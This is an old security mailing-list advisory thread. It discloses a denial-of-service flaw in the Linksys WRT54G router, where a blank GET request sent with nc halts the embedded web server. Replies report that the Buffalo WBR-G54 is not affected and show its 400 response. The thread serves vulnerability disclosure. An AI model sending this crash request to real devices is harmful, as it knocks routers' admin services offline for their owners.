Linksys WRT54G Denial of Service Vulnerability

Linksys WRT54G Denial of Service Vulnerability



System(s)
===========

Tested on Linksys WRT54G v1.0 (firmware v 1.42.3)


Detail(s)
===========

Sending a blank GET request to the router on port 80 (or 8080) halts the embedded webserver. This may allow an attacker to force the owner to reboot the router, allowing them to gain sensitive information during router authentication.

Exploitation
============

user@test:~$ nc 10.0.0.1 80
GET
user@test:~$ nc 10.0.0.1 80
(UNKNOWN) [10.0.0.1] 80 (http) : Connection refused
user@test:~$

Solution(s)
============

- Https service should continue running for remote access.
- Scan for sniffers that might be on the network before rebooting and performing any authentication.
- Wait for a vendor patch :)

Status
============

Vendor contacted on 12/03/03.


!HAPPY HOLIDAYS!
carbon@techcentric.net - 12/02/03

[Michael Renzmann]

Hi all.

test@techcentric.net wrote:
> Linksys WRT54G Denial of Service Vulnerability

There are some devices out there that are technically identical to the
WRT54G (for example the Buffalo WBR-G54). Can anyone confirm whether
they share this issue?

Bye, Mike

[Eerik.Kiskonen@toptronics.fi]

Buffalo WBR-G54 (Firmware 1.30) is not vulnerable. It answers with "bad=20
request" and the http server continues working without problems.

---- clip ---
[stnz@starship stnz]# nc 192.168.11.1 80
GET
HTTP/1.0 400 Bad Request
Server: micro=5Fhttpd
Date: Tue, 01 Jan 2002 06:04:15 GMT
Content-Type: text/html
Connection: close

<HTML><HEAD><TITLE></TITLE><meta http-equiv=3D"Pragma"=20
content=3D"no-cache"></HEAD>
<BODY BGCOLOR=3D"********">
Can't parse request.
---- clip ---

-
Yst=E4v=E4llisin terveisin/Best Regards
Turun Tietokeskus Oy/Eerik Kiskonen
Tekninen asiantuntija/Technical specialist
Satakunnantie 110, 20320 TURKU, Finland
Direct. +358-2-273 4244
Fax. +358-2-273 4220
E-mail: eerik.kiskonen@toptronics.fi
Web. http://www.turuntietokeskus.fi






Michael Renzmann <security@dylanic.de>
04.12.2003 06:33

=20
To: test@techcentric.net
cc: bugtraq@securityfocus.com
Subject: Re: Linksys WRT54G Denial of Service Vulnerability


Hi all.

test@techcentric.net wrote:
> Linksys WRT54G Denial of Service Vulnerability

There are some devices out there that are technically identical to the=20
WRT54G (for example the Buffalo WBR-G54). Can anyone confirm whether=20
they share this issue?

Bye, Mike